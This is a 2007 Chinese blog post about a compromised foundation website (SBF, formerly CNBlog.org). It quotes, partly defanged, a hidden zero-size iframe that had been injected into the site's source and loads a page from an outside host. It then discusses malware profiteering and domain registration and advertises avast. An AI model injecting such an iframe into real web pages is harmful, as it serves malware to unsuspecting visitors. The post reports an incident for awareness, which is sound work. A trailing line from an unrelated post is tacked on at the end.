SBF被攻击了
星期四, 06月 28th, 2007
(SBF)的前身是CNBlog.org,从早期的个人出版工具、个人言论空间到后来的社会性软件,我们逐步认识到了社会性技术对未来社会的巨大影响力,也就是个体的能力加强和更绵密的社会性关联让整个社会的智慧得以提升,并能够带来更加聪明的未来决策,让我们选择光明的未来。
今天由教育中文翻译访问群智基金会的时候avast警告发现病毒,打开源代码发现最下面被人添加了代码
《iframe xsrc=http://yn52.net/admin/xz.htm width=20 height=0 frameborder=0》《iframe》
于是发mail通知了SBF。
以前的公司也曾遭遇此类攻击,开始杀毒软件都查不到哪里中毒了,但是用户提示我们卡巴斯基报有毒。最后才发现是源代码中被人加了恶意代码。
现在病毒木马早就成了灰色产业链中极其重要的一环,但是国家似乎并没有下大力气追查,顶多拿熊猫烧香之类的来杀鸡给猴看,可那么大的利润谁不心动呢。我倒觉得查这种问题很简单的,像上面下马的,找域名注册商,找 域名注册人,连网站都要备案了,不可能这个都查不到的吧,就像银行以前可以匿名开帐户现在都要求实名了,如果查不到域名人那就说明备案的问题了。只要找到域名持有者,空间商,我想即便找不到真实的下马者,找到相关人还是有可能的。当然也有可能此域名和空间都是被人利用的,那只能说明空间商的技术安全性了。
说到备案,自己新开几个站的备案申请了好几个月可还没下来,估计备案的事情几近名存实亡了啊。注册的时候接个短信都要等一天……
这种事情如果报案的话,不知道公安局网监管不?
顺便给avast做个广告。
来自捷克的Alwil公司,已有17年的历史。它专攻于安全相关的软件,开发出来的Avast!杀毒软件在国外市场一直处于领先地位。Alwil自信:高超技术的公司不一定只存在于硅谷!
自96年以来,Avast!获得的行业殊荣多达50个。其中光是Virus bulletin的VB100%奖就拿了14次,另外不仅得到了2005年ICA实验室认证还得到了微软的稳定性认证。
最近还与诺顿等一起获得SC杂志的2006最佳杀毒软件称号。这里为大家介绍的是其免费家用版,如果你想使用它,你必须具备两个基本的条件:个人家庭用户与非盈利性质。
没钱了才开始想起来节约,呵呵。以前也用过一段时间的在线记账,后来因为不过方便所以放弃了,现在连那家网站叫什么都忘了。